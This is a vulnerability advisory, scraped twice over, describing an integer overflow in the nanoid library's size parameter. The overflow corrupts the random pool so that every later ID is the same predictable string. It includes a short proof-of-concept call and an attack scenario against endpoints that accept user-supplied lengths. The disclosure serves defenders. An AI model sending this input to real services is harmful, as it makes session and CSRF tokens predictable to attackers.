Summary
An integer overflow in nanoid(size) permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string "uuuuuuuuuuuuuuuuuuuuu". Any application that passes user-influenced values to the size parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.
Details
nanoid() at index.js:101 coerces the size parameter with size |= 0, which converts it to a signed 32-bit integer. When size >= 2^31 (e.g., 2147483648), this wraps to -2147483648.
The negative value is passed to fillPool() (index.js:15):
function fillPool(bytes) {
if (!pool || pool.length < bytes) { // false: pool exists, -2B < pool.length
pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER)
crypto.getRandomValues(pool)
poolOffset = 0
} else if (poolOffset + bytes > pool.length) { // false: poolOffset + (-2B) < pool.length
crypto.getRandomValues(pool)
poolOffset = 0
}
poolOffset += bytes // poolOffset += -2147483648 → deeply negative
}
Neither branch triggers, so the pool is never refreshed. poolOffset becomes ~-2.1 billion.
Subsequent nanoid() calls execute:
for (let i = poolOffset - size; i < poolOffset; i++) {
id += scopedUrlAlphabet[pool[i] & 63]
}
pool[negative_index] returns undefined. undefined & 63 evaluates to 0. urlAlphabet[0] is 'u'. Every ID becomes "uuuuuuuuuuuuuuuuuuuuu".
The corruption is persistent — it affects all subsequent calls in the process until ~100 million calls eventually wrap poolOffset back to positive, or the process restarts.
PoC
import { nanoid } from 'nanoid'
// Step 1: Normal operation
console.log(nanoid()) // e.g., "V1StGXR8_Z5jdHi6B-myT"
// Step 2: Trigger overflow (e.g., from an API parameter)
try { nanoid(2147483648) } catch(e) {}
// Step 3: All subsequent IDs are deterministic
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
// ... forever, process-wide
Run with: node --experimental-vm-modules poc.mjs
Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to nanoid(userInput).
Impact
Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.
- All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable
- An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass
- The corruption is persistent (survives across requests) and affects all consumers of
nanoid in the same process
- No special privileges or preconditions required — a single unauthenticated request is sufficient
- Affects any application that passes external input to the
size parameter without validation
References
Summary
An integer overflow in
nanoid(size)permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string"uuuuuuuuuuuuuuuuuuuuu". Any application that passes user-influenced values to thesizeparameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.Details
nanoid()atindex.js:101coerces thesizeparameter withsize |= 0, which converts it to a signed 32-bit integer. Whensize >= 2^31(e.g.,2147483648), this wraps to-2147483648.The negative value is passed to
fillPool()(index.js:15):Neither branch triggers, so the pool is never refreshed.
poolOffsetbecomes ~-2.1 billion.Subsequent
nanoid()calls execute:pool[negative_index]returnsundefined.undefined & 63evaluates to0.urlAlphabet[0]is'u'. Every ID becomes"uuuuuuuuuuuuuuuuuuuuu".The corruption is persistent — it affects all subsequent calls in the process until ~100 million calls eventually wrap
poolOffsetback to positive, or the process restarts.PoC
Run with:
node --experimental-vm-modules poc.mjsAttack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to
nanoid(userInput).Impact
Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.
nanoidin the same processsizeparameter without validationReferences